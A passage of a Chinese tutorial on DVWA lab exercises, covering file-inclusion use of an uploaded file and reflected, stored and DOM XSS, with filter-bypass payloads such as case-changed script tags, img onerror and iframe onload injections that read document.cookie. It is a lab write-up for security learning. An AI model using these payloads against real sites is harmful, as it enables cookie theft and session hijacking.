上传成功了,那么怎么利用呢?

  • 这里需要去设置为low级别,然后找到 文件包含漏洞(File Inclusion)
  • 然后复制文件上传后保存在服务器的路径:D:\phpstudy_pro\WWW\dvwa\hackable\666.png
  • http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://D:\phpstudy_pro\WWW\dvwa\hackable\666.png

六. 反射型 XSS

1. XSS的由来

XSS,跨站脚本攻击。指的是攻击者往web页面插入恶意HTML代码。当用户浏览当前网页时,嵌入当前的Web中的html代码会被执行,从而达到恶意攻击用户的目的

2. XSS的分类(根据XSS脚本是否存储)

  • 非持久性,也叫反射性XSS。通过GET和POST方法,向服务器输入数据。用户输入的数据通常被放置在URL中,或者是form数据中。如果服务器对输入的数据不进行过滤,验证或者编码,直接将用户输入的信息呈现给客户,则可能造成反射性XSS
  • 持久性,也叫存储型XSS。通常是因为服务端将用户输入的恶意脚本没有通过验证就直接存储在数据库,并且每次通过调用数据库的方式将数据呈现在浏览器上。则该XSS跨站脚本攻击将一直存在。若其他用户访问该网页,则恶意脚本就会被触发,用于盗取其他用户的私人信息
  • DOM型XSS,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容,结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞

3. XSS攻击方式

  • 向可输入框,插入恶意的HTML代码
  • 向可数据库,插入恶意的Javascript代码

4. XSS危害

  • 强制广告弹窗
  • 网络钓鱼,盗取各类用户的账号
  • 窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作
  • 窃取管理员的Cookie,进行恶意操作
  • 传播跨站脚本蠕虫,网站挂马

1. 实践,难度low(低)

插入 <script>alert(document.cookie)</script>,输出cookie

2. 实践,难度Medium(中等)

Medium级别和low级别相比,Medium中多了一个 str_replace( '<script>', '', $_GET[ 'name' ] ); 将 $_GET[ 'name' ] 传入的参数中的 <script> 替换为 "",也就是说对script标签做了过滤,用来防止xss。

但是,他匹配的只是小写的script,并没有匹配大写的Script。

执行以下脚本:

<Script>alert(document.cookie)</Script>

3. 实践,难度High(高)

难度High中对提交的数据做了正则匹配,preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )

这里只是对script标签做了匹配,但是并没有对其他标签做匹配

执行以下脚本:src图片路径找不到,然后执行onerror

<img src=1 οnerrοr=alert(document.cookie)>

七. 存储型XSS

存储型XSS也称为持久型XSS,会将攻击者的数据存储在服务器,攻击行为提交的攻击数据一直存在

1. 实践,难度-low(低)

<img src=1 οnerrοr=alert(document.cookie)>,提交后存储在数据库中

在提交随意的数据时,就会继续弹出

2. 实践,难度-Medium(中等)

使用burp,修改提交的数据,修改为<img src=1 οnerrοr=alert(document.cookie)>

3. 实践,难度-High(高)

使用了正则表达式过了 script标签,但仅仅只是过滤了script标签,忽略了img,iframe,等其他标签,因此还是存在存储型xss

使用Burp抓包将name的参数改为 <img src=1 οnerrοr=alert(1)>

八. DOM型XSS

  • DOM型的XSS由于其特殊性,常常被分为XSS的第三种类型,这是一种基于DOM树的XSS。例如服务端经常使用document.body.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型的XSS可能是存储型,也有可能是反射型
  • DOM XSS和前面的两种XSS的区别主要在于:DOM XSS的产生并没有和后台服务器产生交互,而是通过浏览器的DOM树解析产生的

1. 实践,难度-low(低)

点击select,url种会设置对应的参数

这时候将url参数改为测试是否存在xss漏洞:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>

代码分析:

代码中大概的意思是,通过select选择,设置url参数,这里对于设置什么参数并没有过校验,所以可以植入<script>alert(1)</script> 等其他xss脚本

2. 实践,难度-Medium(中等)

注入闭合脚本:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=></option></select><iframe οnlοad=alert(1)>

3. 实践,难度-High(高)

注入#</option></select><iframe οnlοad=alert(1)></option>:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English#</option></select><iframe οnlοad=alert(1)></option>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/584391.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

c#数据库: 8.在窗体上显示学生信息

以上一章学生信息表为例&#xff0c;首先将查询的学生信息存储到数据集中&#xff0c;然后将数据集与数据显示控件绑定&#xff0c;从而实现学生信息在窗体上的显示 &#xff08;1&#xff09;创建一个名为StudentGridView的窗体应用程序&#xff0c;为窗体添加一个DataGridVi…

OSI 模型

OSI参考模型包括什么&#xff1a; OSI 参考模型分为七层从下往上分别是&#xff1a;物理层、数据链路层、网络层、传输层、会话层、表示层和应 用层 应用层 &#xff1a; 应用层是 OSI 标准模型的最顶层&#xff0c;是直接为应用进程提供服务的。其作用是在实现多个系统应用…

2024年十五届蓝桥杯省赛大学B组真题(Java完整版)

2024年十五届蓝桥杯省赛大学B组真题&#xff08;Java&#xff09; 前言&#xff1a; 赛后一直犹豫要不要对比赛进行复盘出个题解&#xff0c;拖到了现在&#xff0c;终于也是等到比赛结果出来&#xff0c;看到没有辜负个人期望成功取得省一&#xff0c;决定在国赛前对省赛进行…

【网络原理】UDP协议 | UDP报文格式 | 校验和 | UDP的特点 | 应用层的自定义格式

文章目录 一、UDP协议1.UDP的传输流程发送方接收方 2.UDP协议报文格式&#xff1a;长度受限校验和如何校验&#xff1a;CRC算法&#xff1a;循环冗余算法md5算法&#xff1a; 2.UDP的特点 二、开发中常见的自定义格式1.xml&#xff08;古老&#xff09;2.json&#xff08;最流行…

nn.TransformerEncoderLayer详细解释,使用方法!!

nn.TransformerEncoderLayer nn.TransformerEncoderLayer 是 PyTorch 的 torch.nn 模块中提供的一个类&#xff0c;用于实现 Transformer 编码器的一个单独的层。Transformer 编码器层通常包括一个自注意力机制和一个前馈神经网络&#xff0c;中间可能还包含层归一化&#xff…

uniapp关于iconfont字体图标使用

1、打开[阿里巴巴矢量图标库](https://www.iconfont.cn/)&#xff0c;选择需要的图标添加到购物车 2、点开购物车&#xff0c;将图标添加到项目 3、点开项目&#xff0c;点击下载至本地&#xff0c;会得到一个download.zip包 4、解压download包 5、将包里的iconfont.css和iconf…

正点原子[第二期]Linux之ARM(MX6U)裸机篇学习笔记-8.1--C语言LED驱动程序

前言&#xff1a; 本文是根据哔哩哔哩网站上“正点原子[第二期]Linux之ARM&#xff08;MX6U&#xff09;裸机篇”视频的学习笔记&#xff0c;在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。…

Q1季度阿胶电商数据分析:某黑马品牌线上销售增长超1800%

作为滋补养三大宝之一&#xff0c;阿胶具有补血滋阴、润燥止血、益智健脑、缓延衰老、强筋健骨、提高免疫力等多种功效和作用。同时阿胶被誉为“补血神器”、“美容养颜”等&#xff0c;使得其备受市场欢迎。 根据鲸参谋数据显示&#xff0c;今年Q1季度&#xff0c;在综合电商…

【WEB前端2024】开源智体世界:乔布斯3D纪念馆-第15课-xcard方式跳转平行3D馆

【WEB前端2024】开源智体世界&#xff1a;乔布斯3D纪念馆-第15课-xcard方式跳转平行3D馆 使用dtns.network德塔世界&#xff08;开源的智体世界引擎&#xff09;&#xff0c;策划和设计《乔布斯超大型的开源3D纪念馆》的系列教程。dtns.network是一款主要由JavaScript编写的智…

记录一次大数据量接口优化过程

问题描述 记录一次大数据量接口优化过程。最近在优化一个大数据量的接口&#xff0c;是提供给安卓端APP调用的&#xff0c;因为安卓端没做分批次获取&#xff0c;接口的数据量也比较大&#xff0c;因为加载速度超过一两分钟&#xff0c;所以导致接口超时的异常&#xff0c;要让…

【C++干货基地】探索C++模板的魅力:如何构建高性能、灵活且通用的代码库(文末送书)

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引入 哈喽各位铁汁们好啊&#xff0c;我是博主鸽芷咕《C干货基地》是由我的襄阳家乡零食基地有感而发&#xff0c;不知道各位的…

天空卫士旗舰产品入选《网络安全专用产品指南》

权威认证 近日&#xff0c;中国网络安全产业联盟&#xff08;CCIA&#xff09;发布了第一版《网络安全专用产品指南》。这一权威指南中&#xff0c;天空卫士荣获殊荣&#xff0c;旗下三款尖端产品荣耀入选&#xff0c;分别是增强型Web安全网关&#xff08;ASWG&#xff09;、数…

广交会烹饪机器人用上大模型 支付宝小程序云提供技术支持

近日&#xff0c;第135届广交会正在火热进行&#xff0c;记者获悉&#xff0c;支付宝小程序云助力合作伙伴田螺云厨&#xff0c;在烹饪机器人上开始用上大模型技术。各类智能产品的亮相&#xff0c;从中国制造迈向中国创造&#xff0c;也成为广交会的一个亮点。 &#xff08;图…

ipad的文件如何传到手机里 iPad较大文件怎么发送出去 iMazing下载教程

在现代生活中&#xff0c;随着移动设备的普及和多样化&#xff0c;我们经常需要在不同设备之间传输文件&#xff0c;以便在工作、学习或娱乐中更加便捷地使用这些文件。iPad和iPhone是用户广泛使用的设备&#xff0c;我们时常使用它们来存储和访问大量的个人数据。但有时&#…

人脸识别开源算法库和开源数据库

目录 1. 人脸识别开源算法库 1.1 OpenCV人脸识别模块 1.2 Dlib人脸识别模块 1.3 SeetaFace6 1.4 DeepFace 1.5 InsightFace 2. 人脸识别开源数据库 2.1 CelebA 2.2 LFW 2.3 MegaFace 2.4 Glint360K 2.5 WebFace260M 人脸识别 (Face Recognition) 是一种基于人的面部…

C#命名空间常用函数

在C#中&#xff0c;不同命名空间下有各种常用函数&#xff0c;下面列举一些常见的函数及其对应的命名空间&#xff1a; System命名空间&#xff1a; Console.WriteLine()&#xff1a;用于向控制台输出信息。Convert.ToInt32()&#xff1a;用于将其他数据类型转换为整数类型。 S…

python与上位机开发day04

模块和包、异常、PyQt5 一、模块和包 1.1 模块 Python中模块就是一个.py文件&#xff0c;模块中可以定义函数&#xff0c;变量&#xff0c;类。模块可以被其他模块引用 1.1.1 导入模块 """ 导入格式1&#xff1a; import 模块名 使用格式&#xff1a; …

【百度Apollo】探索自动驾驶:Apollo 新版本 Beta 全新的Dreamview+,便捷灵活更丰富

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《linux深造日志》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 文章目录 引入一、Dreamview介绍二、Dreamview 新特性2.1、基于模式的多场景——流程更简洁地图视角调节&#xff1a;调试流…

JavaEE技术之MySql高级(索引、索引优化、sql实战、View视图、Mysql日志和锁、多版本并发控制)

文章目录 1. MySQL简介2. MySQL安装2.1 MySQL8新特性2.2 安装MySQL2.2.1 在docker中创建并启动MySQL容器&#xff1a;2.2.2 修改mysql密码2.2.3 重启mysql容器2.2.4 常见问题解决 2.3 字符集问题2.4 远程访问MySQL(用户与权限管理)2.4.0 远程连接问题1、防火墙2、账号不支持远程…

Python中的类(Class)详解——新手指南

在Python编程中&#xff0c;类&#xff08;Class&#xff09;是一个非常重要的概念&#xff0c;它允许程序员创建自己的对象类型。这些对象类型可以包含数据&#xff08;称为属性&#xff09;和函数&#xff08;称为方法&#xff09;&#xff0c;它们定义了这些对象的行为。本文…
最新文章